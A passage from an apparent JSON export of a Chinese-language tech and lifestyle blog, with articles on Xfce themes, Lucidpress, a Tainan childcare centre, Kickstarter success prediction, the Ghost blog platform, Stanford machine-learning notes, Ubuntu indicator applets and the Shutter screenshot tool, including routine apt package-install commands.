Xfce Theme Manager 的 Advanced 功能中，還可以針對很多細節進行調整。\n如果感覺這些佈景主題都不滿意，也可以自己上網下載其他佈景主題來安裝，下面這些是 Xfce 官方建議的一些可以下載佈景主題的網站：\ndeviantARTs Xfce-Look: Everything, but mixed with other desktop environments 如果下載下來的檔案是標準的 tar.gz 壓縮檔，就可以直接將佈景主題的壓縮檔拖曳至 Xfce Theme Manager 中來安裝（而安裝完成後，可能要按下 Advanced 功能中的 Rebuild DB 才會立即顯示在 Xfce Theme Manager 的列表中）。如果是其他的壓縮檔案格式，就要自己解壓縮到 ~/.themes/ 中了，詳細說明可參考 Xfce 的官方 Wiki。\n","permalink":"https://blog.gtwang.org/linux/xfce-theme-manager-xubuntu/","summary":"\u003cp\u003e這裡介紹如何安裝與使用 XFCE Theme Manager，調整 XUbuntu 桌面佈景主題。\u003c/p\u003e\n\u003cp\u003e在一般的 Xfce 的桌面環境中，並沒有提供一個整合性的佈景主題調整工具，系統中有好幾個設定工具分別負責不同的設定，而且也沒有提供預覽的功能，你在選擇佈景主題時只能先套用之後才能知道它長的怎麼樣。\u003c/p\u003e","title":"使用 Xfce Theme Manager 調整 XUbuntu 桌面佈景主題"},{"content":"Lucidpress 提供了一個專業的線上排版服務，你可以用這個免費的雲端服務製作出各式各樣專業的版面。\n在以往的專業排版多半都是使用一些專用的軟體來進行，例如微軟的 Publisher 等，而這類的軟體通常都是設計給專業人士使用的，操作方式比較複雜，一般人若要使用不是那麼容易，而此類軟體的價格通常也不低。\n現在 Lucid Software 這家以雲端服務為主的公司推出一項免費的線上排版服務 Lucidpress，比起傳統的排版工具，他更適合一般的使用者來使用，甚至只需要使用滑鼠的拖拉就可以設計出專業的排版效果。\n使用 Lucidpress 所製作出來的文件還可以直接與 Google 雲端硬碟、Dropbox、Flickr、YouTube 與 Facebook 這些相關的雲端服務作結合，如果你仔細看看 Lucidpress 的功能，你會發現他跟以前的 Google Docs 很相似，而它最出色的部分就是專業排版，滑鼠拖拉的設計真的讓使用者非常方便！\n除了一般的電腦之外，Lucidpress 也支援手持裝置，所以你也可以使用智慧型手機或是 iPad 來操作。\nLucidpress 跟 Google Docs 一樣也支援多人線上同時編輯的功能，另外也可以在 Lucidpress 跟其它的編輯者聊天，通常一份複雜的文件會由好幾個人共同撰寫，有這樣的功能可以讓編輯者間的溝通更有效率，也可以直接提升文件的撰寫速度與品質。\n如果你對於設計版面不是很在行，可以直接 Lucidpress 所提供的範本，加入自己的內容之後，馬上就可以製作出一個很專業的版面。\nLucidpress 也提供了非常多的字型可以使用，不過這些都是英文字型，至於中文的話，好像就沒辦法了。除了既有的字型，Lucidpress 也允許自己上傳字型，但是我嘗試上傳中文的字型，但是都不成功，不知道是不是因為中文字型檔案都太了，所以都傳不上去？\n排版完成的結果，可以直接下載下來，其支援的格式有 PDF、PNG 與 JPEG 檔，除了中文字型之外，排版的結果都很不錯。\n參考資料 techcrunch TNW ","permalink":"https://blog.gtwang.org/useful-tools/lucidpress/","summary":"\u003cp\u003e\u003ca href=\"https://www.lucidpress.com/\"\u003eLucidpress\u003c/a\u003e 提供了一個專業的線上排版服務，你可以用這個免費的雲端服務製作出各式各樣專業的版面。\u003c/p\u003e\n\u003cp\u003e在以往的專業排版多半都是使用一些專用的軟體來進行，例如微軟的 Publisher 等，而這類的軟體通常都是設計給專業人士使用的，操作方式比較複雜，一般人若要使用不是那麼容易，而此類軟體的價格通常也不低。\u003c/p\u003e","title":"Lucidpress：免費且專業的線上排版軟體"},{"content":"台南公私協力新市托育資源中心（新市社會文化教育館）是專門為小朋有設計的公共遊戲空間，有各式各樣的玩具與書籍，非常適合家長帶小朋友來玩。\n台南市政府社會局委託嘉南藥理科技大學開辦的「公私協力新市托育資源中心」，於 2013 年三月二十五日正式開幕。這個托育資源中心，現場有社工及保母等專業人員進行服務，共有十項服務內容：含辦理親子活動、照顧服務諮詢、托育服務諮詢、托育媒合、專業研習訓練、親職教育與社區宣導、玩具圖書室、外展服務、嬰幼兒活動等，另外中心內設有嬰幼兒圖書玩具室及遊戲活動室，很適合家長帶 0 到 6 歲的小朋友來玩。\n最近帶小朋友去這裡玩，發現這裡環境維護的很不錯，四樓有玩具圖書室。\n裡面有各式各樣適合小朋友的玩具，阿玄現在兩歲多，剛好很適合來這裡玩！\n除了玩具之外，也有一些小朋友的書籍。\n有好幾組適合小朋友的桌椅，整個空間看起來很棒！\n每樣玩具都整理得很好，為了怕小朋友亂放，每組玩具都有拍照，收拾的時候比較不會搞不清楚該放在哪裡。\n通常第一次來的時候，小朋友都會很興奮，因為有太多玩具了，一下子不知道該玩哪一樣。\n每一樣玩具都有很詳細的照片與說明，告訴家長該怎麼陪小朋友玩。\n拔蘿蔔與切蘿蔔。\n磁鐵做的釣魚遊戲。\n這裡還有說故事時間。\n五樓最主要的就是有一大間遊戲室，裡面可以讓小朋友做一些動態的運動。\n這間遊戲室的空間很大，有小朋友的溜滑梯、投籃遊戲等各種動態玩具，整個空間分為 0 到 2 歲與 3 到 6 歲兩個區域。\n這是 0 到 2 歲的遊戲區。\n這是 3 到 6 歲的遊戲區。\n阿玄很喜歡開這台車。\n塗鴉牆可以讓小朋友畫畫。\n騎馬！\n小朋友的工作台，有各種工具。\n阿玄自己拿工具去修車。\n這是另外一台小車。\n在這裡的四樓與五樓都有清潔用的酒精，在玩玩具之前，可以幫小朋友的玩具消毒。\n哺乳室可以讓家長很方便餵奶。\n五樓的哺乳室裡面空間很寬敞。\n溫暖的小空間設置有尿布台、小冰箱、飲水機、小沙發，方便照顧者和寶寶使用。\n這裡的樓梯也是特別設計給小朋友的，階梯都的高度比較低，且有兩層扶手，很適合小朋友來走。\n臺南市公私協力新市托育資源中心的地址為台南市新市區富強路 16 巷 1 號（原新市社會文化教育館）四樓、五樓，就在新市簡易法庭旁邊，而其開放時間如下：\n早上 下午 星期一 休館 休館 星期二 休館 13:30 ~ 17:30 星期三 09:30 ~ 12:00 13:30 ~ 17:30 星期四 09:30 ~ 12:00 13:30 ~ 17:30 星期五 09:30 ~ 12:00 13:30 ~ 17:30 星期六 09:30 ~ 12:00 13:30 ~ 17:30 星期日 09:30 ~ 12:00 13:30 ~ 17:30 若碰到國定假日也是休息的，聯絡電話為 (06)589-0050，其電話諮詢服務時間為每週二下午 13:00 ~ 18:00、每週三至週日上午 09:00 ~ 12:00 及下午 13:00 ~ 18:00。\n這裡旁邊都有汽車與機車的停車位，不管是開車或騎車都很方便。\n","permalink":"https://blog.gtwang.org/life/tainan-sinshih-preschool/","summary":"\u003cp\u003e台南公私協力新市托育資源中心（新市社會文化教育館）是專門為小朋有設計的公共遊戲空間，有各式各樣的玩具與書籍，非常適合家長帶小朋友來玩。\u003c/p\u003e\n\u003cp\u003e台南市政府社會局委託嘉南藥理科技大學開辦的「公私協力新市托育資源中心」，於 2013 年三月二十五日正式開幕。這個托育資源中心，現場有社工及保母等專業人員進行服務，共有十項服務內容：含辦理親子活動、照顧服務諮詢、托育服務諮詢、托育媒合、專業研習訓練、親職教育與社區宣導、玩具圖書室、外展服務、嬰幼兒活動等，另外中心內設有嬰幼兒圖書玩具室及遊戲活動室，很適合家長帶 0 到 6 歲的小朋友來玩。\u003c/p\u003e","title":"台南公私協力新市托育資源中心（新市社會文化教育館）：適合小朋友遊戲的場所"},{"content":"統計學家發展出一個預測 Kickstarter 專案的模型，可在專案發起後的四小時預測該專案是否會成功。\nKickstarter 是一個專為群眾集資而設計的仲介網站，專案的發起人可以提出一些有創意的專案，經過 Kickstarter 審核之後放上的網頁，向全世界的人募集資金來進行自己想實作的專案，若在一定的期限之內該專案所募集到的資金達到最低的門檻值，則該 Kickstarter 專案就算是成功了。\n當然在 Kickstarter 上的專案最後的結果可能有許多不同的狀況，而我們可以把它們大致上區分為「成功」與「失敗」這兩種，成功就是代表在最後期限前有籌措到足夠的資金，如果沒有就是失敗。\n到底一個專案最後會不會成功是專案發起人最關心的事情，最近有三位瑞士洛桑聯邦理工學院的統計學家提出了一個統計模型，結合資金籌措的資料與一些社群網站的資訊可以在專案發起後的四小時，就可以預測該專案最後是否會成功。\n他們從 Kickstarter 上抓取了超過 16000 個專案的資料進行分析，這些專案的募集資金總額高達一億五千八百萬美元，而大約有一半的專案是失敗的。\n這些研究者們在 Twitter 以「kickstarter」這個關鍵字來搜尋相關的資料，並以這些資中的 URL 網址來辨識該 Twitter 留言是隸屬於哪一個 Kickstarter 專案，另外從該專案的 Backers 網頁擷取專案的資助者名單與金額。\n剛開始他們只有將 Backers 網頁上的資料用於 k-nearest neighbor classifier 與 Markov chain 這兩個模型中，另外也使用 baseline static model 配合一些固定的專案屬性（例如專案的類別、是否有影片介紹與目標資金等）在專案開始之前提供一個最基本的預測。\n最簡單的 baseline model 所提供的準確率可以達到 68%，而使用 nearest-neighbors 或 Markov chain 的方式則會有更高的準確率，即便是在專案一開始沒多久的狀況下來預測，都會比基本的 baseline 要好一些，在募集期間過了十分之一的時候（大約是三天），就可以達到 85% 的預測準確度，而 nearest-neighbor classifier 的精準度比 Markov chain 稍微高一些，但其計算量也比較大。\n接著他們加入了從 Twitter 上所蒐集的資料，包含留言時間、回應與轉貼次數，而他們發現如果只有使用 Twitter 的資料所預測的結果，不會比使用 baseline static model 配合一些固定專案屬性所得到的結果好到哪裡去，而綜合資金籌措的資訊之後，模型在專案早期的預測準確度是最高的，只花了一天半的時間就可以達到 84%，而第六天結束時則可以攀升到 87% 。\n同時使用資金與社群的資料，雖然可以使預測的準確率快速提昇，在四小時的時候，就可以有 76% 的預測準確率，但準確率最好的還是單純使用資金籌措資料的模型（在募集期間過了 15% 的時候可以有 85% 的預測準確率）。\n要分析社群資料其實沒有那麼單純，這裡他們只考慮最單純的狀況，還是有非常多的狀況會被遺漏，例如分享 Kickstarter 的訊息可能剛好沒有提到「Kickstarter」這個字眼，或是有些人會使用縮短網址的功能，這些狀況在這份論文中都沒有被納入考量，所以也會造成分析上的誤差。\n目前這個模型的運作方式有點像是一個黑盒子，它只會告訴你專案是否會成功的預測，並不會告訴你為什麼，這個部份在未來可加入專案發起人與資助者的網路分析，或是研究成功的專案與 Twitter 訊息網路之間的關係等等，這樣可能就可以看出如何在初期對專案做一些改善，讓成功率提昇。\n參考資料 ars technica ","permalink":"https://blog.gtwang.org/funny/statistical-models-can-predict-a-kickstarters-success-within-4-hours/","summary":"\u003cp\u003e統計學家發展出一個預測 Kickstarter 專案的模型，可在專案發起後的四小時預測該專案是否會成功。\u003c/p\u003e\n\u003cp\u003eKickstarter 是一個專為群眾集資而設計的仲介網站，專案的發起人可以提出一些有創意的專案，經過 Kickstarter 審核之後放上的網頁，向全世界的人募集資金來進行自己想實作的專案，若在一定的期限之內該專案所募集到的資金達到最低的門檻值，則該 Kickstarter 專案就算是成功了。\u003c/p\u003e","title":"使用統計在四小時內預測 Kickstarter 專案是否可以成功達成"},{"content":"Ghost 是一個開放原始碼的部落格平台，以一個全新的設計概念，試圖創造下一代的部落格。\nGhost 是一個新一代的部落格平台，目前還正在發展當中，在今年的 10 月 14 日它釋出了第一個版本（可以從它的官方網站註冊後下載），這個版本目前只包含一些比較基本的功能，其餘比較進階的功能還在開發中，未來 Ghost 也會仿照 WordPress 的方式，除了使用者下載安裝之外，也可以直接在線上申請一個免費的部落格空間來使用（類似現有的 *.blogspot.tw 這樣的網站）。\nGhost 其功能類似現有的 Blogger、WordPress 或 Tumblr，但他比較輕巧、而且使用上也會比較直覺，其的設計理念不同於以往的部落格只注重閱覽者的感受，除了讓閱讀者有舒適的版面之外，也同時考慮到部落客在撰寫文章時的方便性，因此特別設計了一個很直覺的管理介面與排版方式，讓一般的部落客可以專心撰寫部落格的內容，不用浪費時間在一些部落格的設定上。\nGhost 提供一個智慧型的撰寫視窗（在上面的影片中可以看到實際操作的情況），這個視窗分為左右兩邊，左邊是文章的「原始碼」，使用者編寫文章時，可以靠著一些很簡單的語法來設計想要的排版方式，右邊則是即時「編譯」過的排版結果，每當使用者更改了左邊原始碼的內容時，他就會馬上自動更新右邊的內容。\n這個編輯器所使用的語法也非常簡單，例如要把一行文字設為大標題，就在前面加上 ###，而若想要將一段文字設定為引文的排版，就在前面加上 \u0026gt;（這個跟 Email 中的習慣相同），許多用法都很直覺，通常使用者完全不用花什麼時間就可以直接上手開始撰寫文章，更不需要學習 HTML 或 CSS 等等複雜的語法，有點類似 reStructuredText 的概念。\nGhost 所提供的儀表板（dashboard）功能可以讓你對於整個部落個的統計資料一目了然，加上它可以讓你自己用滑鼠拖拉的方式自定版面，所以你可以自己選擇要顯示哪些資訊，建立適合自己需求的儀表板。\n在文章管理的部分，Ghost 仿照一般的電子郵件軟體，提供一個類似的界面，部落格管理者可以單一個頁面中直接瀏覽與預覽各篇文章，讓管理文章更有效率。\n除了以上介紹的功能之外，Ghost 還也一些特色：\n開放原始碼：任何人都可以參與開發，知名的 WooThemes 目前也開始支援 Ghost。 大型部落格：目前第一版的功能是針對小型的部落格，但未來 Ghost 規劃會支援大型部落格形式網站的相關功能（如多人編輯）。 行動裝置：Ghost 對於手機與平板也都會支援。 非營利組織：如果經費充足，Ghost 將會把重點擺在建立好用平台，而不是想辦法賺錢。 在技術層面上，Ghost 是一個以 Node.js 技術加上 Express 架構所發展出來的專案，其所使用的後端資料庫是 SQLite，所以可以很方便移植到各種系統上，而所有的東西都是以 JugglingDB ORM 來連結的，所以對於其他的資料庫也都支援。\n在未來 Ghost 也會被收錄至 NPM 中，所以未來要安裝 Ghost 會更方便且快速。\nGhost 的佈景主題是以 Handlebars 來處理的，所以對於商務邏輯（bussiness logic）與使用者介面（view）的區分會比較容易，如果你有撰寫 WordPress 佈景主題的經驗，那麼你應該可以在五分鐘之內上手。\n如果自己感覺 Ghost 的功能不足，也可以使用 Ghost 的輔助功能自己撰寫 plugin 來擴充，語言的翻譯則是使用 Polyglot.js。\n由於 Ghost 的原始碼是以 MIT License 的方式授權，這種授權非常的自由，你可以拿 Ghost 的原始碼自由修改，而修改之後不管是想使用 MIT 或是 GPL 授權都沒問題。\n由於 Ghost 才剛剛釋出第一版，其功能還無法跟市場上現有的部落格匹敵，但因為它是一個開放原始碼的專案，未來的發展令人期待，希望等到有更多開發者投入之後，它可以變成一個更好用的部落格平台。\n參考資料 ars technica Kick Starter ","permalink":"https://blog.gtwang.org/web-development/node-js-based-ghost-blogging-platform/","summary":"\u003cp\u003e\u003ca href=\"https://ghost.org/\"\u003eGhost\u003c/a\u003e 是一個開放原始碼的部落格平台，以一個全新的設計概念，試圖創造下一代的部落格。\u003c/p\u003e\n\u003cp\u003eGhost 是一個新一代的部落格平台，目前還正在發展當中，在今年的 10 月 14 日它釋出了第一個版本（可以從它的\u003ca href=\"https://ghost.org/\"\u003e官方網站\u003c/a\u003e註冊後下載），這個版本目前只包含一些比較基本的功能，其餘比較進階的功能還在開發中，未來 Ghost 也會仿照 WordPress 的方式，除了使用者下載安裝之外，也可以直接在線上申請一個免費的部落格空間來使用（類似現有的 \u003ccode\u003e*.blogspot.tw\u003c/code\u003e 這樣的網站）。\u003c/p\u003e","title":"Ghost 部落格平台（Blogging Platform）：以 Node.js 為基礎的開放原始碼部落格"},{"content":"本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 4 的前半段筆記，接續 Lecture 3 的內容。\nLecture 4 的線上課程錄影可以從 YouTube 網站上觀看。\n使用牛頓法找 \\(l(\\theta)\\) 的最大值 這裡我們繼續討論 \\(g(z)\\) 是 sigmoid function 的狀況，介紹另外一種求 \\(l(\\theta)\\) 極大值的方法。\n首先我們介紹可以找尋函數零點的牛頓法，假設我們有一個函數 \\(f : \\mathbb{R} \\mapsto \\mathbb{R}\\)，而我們想要找一個 \\(\\theta\\) 可以讓 \\(f(\\theta) = 0\\)（這裡的 \\(\\theta \\in \\mathbb{R}\\) 是一個實數），牛頓法就是用下面這個迭代式來求這個 \\(\\theta\\)： \\[ \\theta := \\theta - \\frac{f(\\theta)}{f'(\\theta)} \\] 這個方式其實就是計算每個迭代位置的切線與 \\(x\\) 軸的交點，來作為下一個迭代的 \\(\\theta\\) 值，下面這個動畫就是整個牛頓法迭代的過程（擷取自 Wiki）：\n關於牛頓法詳細的解說，請參考 Wiki 的說明。\n一般的牛頓法可以求 \\(f(\\theta) = 0\\) 的解，但是在這裡我們要找的是 \\(l(\\theta)\\) 的最大值，而 \\(l(\\theta)\\) 的最大值會發生在 \\(l'(\\theta)\\) 等於 0 的點上，所以可以直接套用牛頓法，令 \\(f(\\theta) = l'(\\theta)\\)，則可得到：\n\\[ \\theta := \\theta - \\frac{l'(\\theta)}{l''(\\theta)} \\]而在我們的羅吉斯迴歸問題中，\\(\\theta\\) 是一個向量，所以我們必須使用多維度的牛頓法（也稱作 Newton-Raphson 方法）：\n\\[ \\theta := \\theta-H^{-1}\\nabla_{\\theta}l(\\theta) \\]其中 \\(\\nabla\\_{\\theta}l(\\theta)\\) 是 \\(l(\\theta)\\) 對每個 \\(\\theta\\_i\\) 做偏微分所得到的向量，而 \\(H\\) 是一個 \\(n\\) 乘以 \\(n\\)（如果截距項也算，就是 \\(n+1\\) 乘以 \\(n+1\\)）的 Hessian 矩陣，此矩陣的元素為\n\\[ H_{ij}=\\frac{\\partial^{2}l(\\theta)}{\\partial\\theta_i\\partial\\theta_j} \\]牛頓法收斂的速度通常會比 gradient descent 快，也就是說牛頓法需要的迭代數比較少，但是牛頓法的每個迭代所需要的計算量會比 gradient descent 大，因為它每次迭代都需要計算一個 \\(n\\) 乘以 \\(n\\) 的 Hessian 矩陣，而且還要計算它的反矩陣，不過如果 \\(n\\) 沒有很大的話，牛頓法所需要的總時間還是會比較短。\n這裡將牛頓法用在求最大概似函數（maximum likelihood function）的極大值上，這個作法也稱為 Fisher\u0026rsquo;s scoring 演算法。\n廣義線性模型（Generalized Linear Models） 在前面的課程中，我們討論過迴歸（regression）與分類（classification）的問題，在迴歸的問題中所使用的模型為 \\(y|x;\\theta\\sim\\mathcal{N}(\\mu,\\sigma^2)\\)，而分類問題所使用的模型則為 \\(y|x;\\theta\\sim\\mbox{Bernoulli}(\\phi)\\)，其中的 \\(\\mu\\) 與 \\(\\phi\\) 是 \\(x\\) 與 \\(\\theta\\) 的函數。\n在這裡我們將介紹廣義線性模型（generalized linear models，簡稱 GLM），之前的兩種模型都是廣義線性模型的特例，除此之外廣義線性模型還可以推導出其他不同的模型，適用於其他類型的分類或迴歸問題。\n指數族（The Exponential Family） 在介紹廣義線性模型之前，要先介紹指数族分布（exponential family distributions），如果一個分布的機率密度函數（probability density function）或是機率質量函數（probability mass function）可以寫成 \\[ p(y;\\eta)=b(y)\\exp(\\eta^TT(y)-a(\\eta)) \\] 則稱該分布屬於指数族。這裡的 \\(\\eta\\) 稱為該分布的 natural parameter（或 canonical parameter）；\\(T(y)\\) 是一個充分統計量（sufficient statistic），在我們討論的例子中，\\(T(y)\\) 都是等於 \\(y\\)；\\(a(\\eta)\\) 是一個 log partition 函數。\\(e^{-a(\\eta)}\\) 是一個用來讓整個函數正規化（normalization）的常數，也就是讓整個 \\(p(y;\\eta)\\) 函數對 \\(y\\) 積分或加總之後會等於 1。\n選定 \\(T\\)、\\(a\\) 與 \\(b\\) 之後，就會得到一個參數為 \\(\\eta\\) 的分布族，當我們改變 \\(\\eta\\) 的值，就可以得到該分布族的一個分布。\n接下來我們將證明 Bernoulli 與 Gaussian 分布其實也都是指數族分布的一種，也就是說上面的 \\(T\\)、\\(a\\) 與 \\(b\\) 經過適當的選擇之後，就可以得到這兩個分佈的機率密度函數（或機率質量函數）。\nBernoulli(\\(\\phi\\)) 分布的機率質量函數為\n\\[ p(y;\\phi) = \\left\\{\\begin{array}{ll} \\phi,\u0026 \\mbox{if y=1} \\\\ 1-\\phi,\u0026 \\mbox{if y=0} \\end{array} \\right. \\]當我們改變 \\(\\phi\\) 的值的時候，就可以得到不同平均數的 Bernoulli 分布。上面這個式子可以改寫成\n\\[ \\begin{aligned} p(y;\\phi) \u0026 = \\phi^y(1-\\phi)^{1-y}\\\\ \u0026 = \\exp\\big(y\\log\\phi+(1-y)\\log(1-\\phi)\\big)\\\\ \u0026 = \\exp\\Big(\\big(\\log\\big(\\frac{\\phi}{1-\\phi}\\big)\\big)y+\\log(1-\\phi)\\Big) \\end{aligned} \\]這樣就可以看出來 natural parameter 為 \\(\\eta=\\log(\\phi/(1-\\phi))\\)\n","permalink":"https://blog.gtwang.org/statistics/standford-machine-learning-5/","summary":"\u003cp\u003e本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 4 的前半段筆記，接續 \u003ca href=\"/statistics/standford-machine-learning-4/\"\u003eLecture 3\u003c/a\u003e 的內容。\u003c/p\u003e\n\u003cp\u003eLecture 4 的線上課程錄影可以從 \u003ca href=\"https://www.youtube.com/watch?v=nLKOQfKLUks\"\u003eYouTube 網站\u003c/a\u003e上觀看。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"史丹佛大學機器學習（Machine Learning）上課筆記（五）"},{"content":"這裡搜集各種 Ubuntu Linux 中 Unity 常用的指示器（indicator）與小工具。\n如果你是 Ubuntu Linux 的老手，你應該會記得以前 GNOME 時代的 applet，這些小工具都以小圖示的型式放在 panel 上，讓你可以透過它們獲取一些資訊或是進行一些控制，而現在的 Ubuntu 換成 Unity 桌面後，雖然以前的這些 applets 沒辦法使用了，但是你可以使用第三方所開發的一些 indicator applet 來取代，使用起來是差不多的。\n目前可以在 Unity 桌面上使用的 indicator applets 已經有很多了，但有些好用的 indicator applets 卻沒有被收錄在 Ubuntu 官方的 repository 中，以下我們會一一介紹各種 indicator applets 的安裝與使用方式。\n天氣預報（Weather） 這個 indicator 可以提供你及時的天氣預報資訊，其實他只是定期幫你上網把天氣預報的資料抓下來而已。\n若你的 Ubuntu 版本是 12.04，則可以直接使用官方的 repository 來裝：\nsudo apt-get install indicator-weather 而如果是 Ubuntu 13.04 的話，官方的 repository 因為這個 indicator 有些 bugs，所以把它拿掉了，想使用的話，可以試試看這個修正後的 PPA：\nsudo add-apt-repository ppa:jtasker/weather-indicator sudo apt-get update sudo apt-get install indicator-weather 安裝完成之後，可從 Ubuntu 主選單中啟動它。\n以上是我在網路上搜集到的資料，不過我自己使用這個 indicator 之後，感覺它還是有些 bugs，我沒辦法新增我想要的地點，這裡的資訊大家就參考看看囉。\n系統負載資訊 這個系統負載資訊的 indicator 可以告訴你目前系統的各種即時資訊，類似以前 GNOME 的 System Monitor，他可以同時顯示 CPU、記憶體、網路、硬碟等狀態圖。\n安裝方式為：\nsudo apt-get install indicator-multiload 安裝完成之後，可從 Ubuntu 主選單中啟動它。\n監控 CPU 頻率 這個監控 CPU 頻率的 indicator 可以讓你及時看到目前 CPU 的運作頻率，並且可以讓你直接調整 CPU 的運作原則，例如你可以選擇省電模式，讓 CPU 不要跑那麼快。\n安裝方式為：\nsudo apt-get install indicator-cpufreq 安裝完成後，使用下面這個指令啟動：\nindicator-cpufreq Ubuntu One 如果你有使用 Ubuntu One 的服務，你就可以試試看這個非官方的 indicator，它可以讓你不用開啓 Ubuntu One 的視窗就可以看到目前的狀態，包含檔案傳輸的狀態與剩餘空間等。\n安裝方式為：\nsudo add-apt-repository ppa:rye/ubuntuone-extras sudo apt-get update sudo apt-get install indicator-ubuntuone 安裝好了之後，登出後再重新登入就會啓動這個 indicator 了。\n傳統選單 這個 indicator 提供一個傳統式的應用程式選單，跟以前在 GNOME 2 時代的選單幾乎一樣。\n安裝方式為：\nsudo apt-add-repository ppa:diesch/testing sudo apt-get update sudo apt-get install classicmenu-indicator 安裝完成之後，可從 Ubuntu 主選單中啟動它。\n最近訊息 這個 indicator 可以顯示最近系統通知你的一些訊息，有時候當你離開電腦一陣子再回來的時候，就可以看看這裡是否有新訊息。\n安裝方式為：\nsudo add-apt-repository ppa:jconti/recent-notifications sudo apt-get update sudo apt-get install indicator-notifications 安裝好了之後，登出後再重新登入就會啓動這個 indicator 了。\n觸控板（Touchpad） 這個 indicator 可以讓你直接開啓或關閉筆電的觸控板。\n安裝方式為：\nsudo add-apt-repository ppa:atareao/atareao sudo apt-get update sudo apt-get install touchpad-indicator 安裝完成之後，可從 Ubuntu 主選單中啟動它。\n硬體監控 這個 indicator 可以顯示來自電腦上各種硬體 sensors 的資訊，例如 CPU 溫度、風扇轉速等等。\n安裝方式為：\nsudo add-apt-repository ppa:alexmurray/indicator-sensors sudo apt-get update sudo apt-get install indicator-sensors 安裝完成之後，可從 Ubuntu 主選單中啟動它。\n咖啡因（Caffeine） 這個有趣的咖啡因 indicator 的功能是讓電腦不要睡著（啓動螢幕保護裝置或進入休眠模式），例如在用電腦看影片時，就可以開啓這個功能。\n安裝方式為：\nsudo add-apt-repository ppa:caffeine-developers/ppa sudo apt-get update sudo apt-get install caffeine 安裝完成之後，可從 Ubuntu 主選單中啟動它。\nKeylock 這個 indicator 可以顯示目前 caps lock、num lock 或 scroll lock 是否有開啟。\n安裝方式為：\nsudo add-apt-repository ppa:tsbarnes/indicator-keylock sudo apt-get update sudo apt-get install indicator-keylock 安裝完成之後，可從 Ubuntu 主選單中啟動它。\n參考資料 How-To Geek ","permalink":"https://blog.gtwang.org/linux/awesome-indicator-applets-for-ubuntus-unity-desktop/","summary":"\u003cp\u003e這裡搜集各種 Ubuntu Linux 中 Unity 常用的指示器（indicator）與小工具。\u003c/p\u003e\n\u003cp\u003e如果你是 Ubuntu Linux 的老手，你應該會記得以前 GNOME 時代的 applet，這些小工具都以小圖示的型式放在 panel 上，讓你可以透過它們獲取一些資訊或是進行一些控制，而現在的 Ubuntu 換成 Unity 桌面後，雖然以前的這些 applets 沒辦法使用了，但是你可以使用第三方所開發的一些 indicator applet 來取代，使用起來是差不多的。\u003c/p\u003e","title":"各種 Ubuntu Linux 中 Unity 常用的指示器（indicator）與小工具"},{"content":"Shutter 是 Linux 系統下的一套桌面擷圖工具，如果你常常需要將桌面的畫面儲存下來，就可以考慮使用這樣的軟體。\nShutter 是在 Linux 系統下的一套開放原始碼螢幕擷圖工具，它除了簡單的螢幕擷取功能（擷取特定區域、視窗或是全螢幕等）之外，還可以擷取網頁快照，另外也提供了許多相關的影像編輯功能，像是加上一些說明文字、箭頭、圓圈等，這些對於撰寫教學文件或網站的人而言很有幫助。\n安裝 Shutter 如果你的系統預設的 repository 沒有收錄 Shutter 的話，可以使用 Shutter 官方的 PPA：\nsudo add-apt-repository ppa:shutter/ppa 然後使用 apt-get 來安裝：\nsudo apt-get update sudo apt-get install shutter 如果是 Red Hat 系列的 Linux，則可啟用 EPEL Repo，然後用 yum 安裝：\nyum install shutter 安裝完成之後，就可以開始使用了，如果是使用 Ubuntu 的話，直接在主遠單中就可以找到 Shutter 的啓動圖示。\n開啓之後，會出現 Shutter 的主視窗。\n上方的工具列可以讓你使用各種不同的螢幕擷取方式，以下示範各種擷取方式的使用方法。\n擷取選取區域 使用滑鼠在螢幕上選取一個矩形的區域，進行畫面擷取。在使用這個功能選擇桌面區域時，桌面會變暗，只有被選擇的區域會是正常的顏色，這樣可以幫助使用者很容易辨別選擇區域的範圍，另外在螢幕的角落還會有一個滑鼠附近的放大鏡，這樣就可以幫助你很精準的選擇你要的範圍。\n考慮到許多人可能不太會記得各種複雜的操作方式，在一開始選擇區域之前，螢幕上還會先顯示簡單的操作說明，使用起來很方便。\n擷取全螢幕 這個功能可以直接把整個桌面的畫面擷取下來，除了簡單的擷取之外，它也支援不同工作區的擷取。\n甚至可以把所有的工作區都一起擷取成一張圖。\n擷取視窗 這個功能可以使用滑鼠選擇要擷取的視窗，或是直接依照視窗的名稱選定要擷取的視窗。\n在使用滑鼠選取視窗時，當滑鼠移動到某個視窗上的時候，還會顯示該視窗的名稱與大小，這樣可以很方便判斷要擷取的是哪一個是窗，使用上很方便。\n擷取子視窗 有一些應用程式在主視窗裡面還會有一些子視窗，一般的螢幕擷取軟體通常都只能擷取整個主視窗，如果想要直接擷取子視窗，就可以使用 Shutter 的這個擷取子視窗功能。\n擷取選單 擷取選單的功能可以讓你針對一般的下拉式選單進行擷取，它會自動幫你裁切至剛好的畫面大小，而且背景還可以是透明的，這樣擷取的畫面會很乾淨。\n擷取提示框 除了下拉式選單之外，Shutter 連一般的提示框都可以擷取。所謂的提示框就是在一般的應用程式中，當滑鼠移到工具列或按鈕上時，所顯示的提示訊息。\n像這樣的提示訊息，Shutter 也可以直接擷取。\n擷取網頁 Shutter 除了擷取桌面上的畫面之外，也可以直接輸入網址，把整張網頁的快照擷取下來。\n擷取下來的圖會包含整張網頁的內容，效果還不錯。\n系統圖示 當 Shutter 啓動之後，在系統圖示（system tray）的工具列上面也會出現一個 Shutter 的圖示，如果你感覺 Shutter 的主視窗放在桌面上很礙眼，那麼你可以將 Shutter 的主視窗關閉，然後從這裡使用 Shutter 的各種功能來快速擷取畫面，我個人感覺這真的是很棒的功能。\n圖片編輯功能 Shutter 的圖片編輯功能非常完整，一般撰寫教學文件時會用到的各種功能它都有，包含輸入文字、線條、箭頭、圓圈、方框、螢光筆、剪裁等等，而這些文字與線條都可以自定寬度與顏色，另外還考慮到有些要放上網路的圖要把一些隱私資料拿掉，也提供馬賽克與塗抹的功能，真的很方便。\n重做最後擷圖動作 Shutter 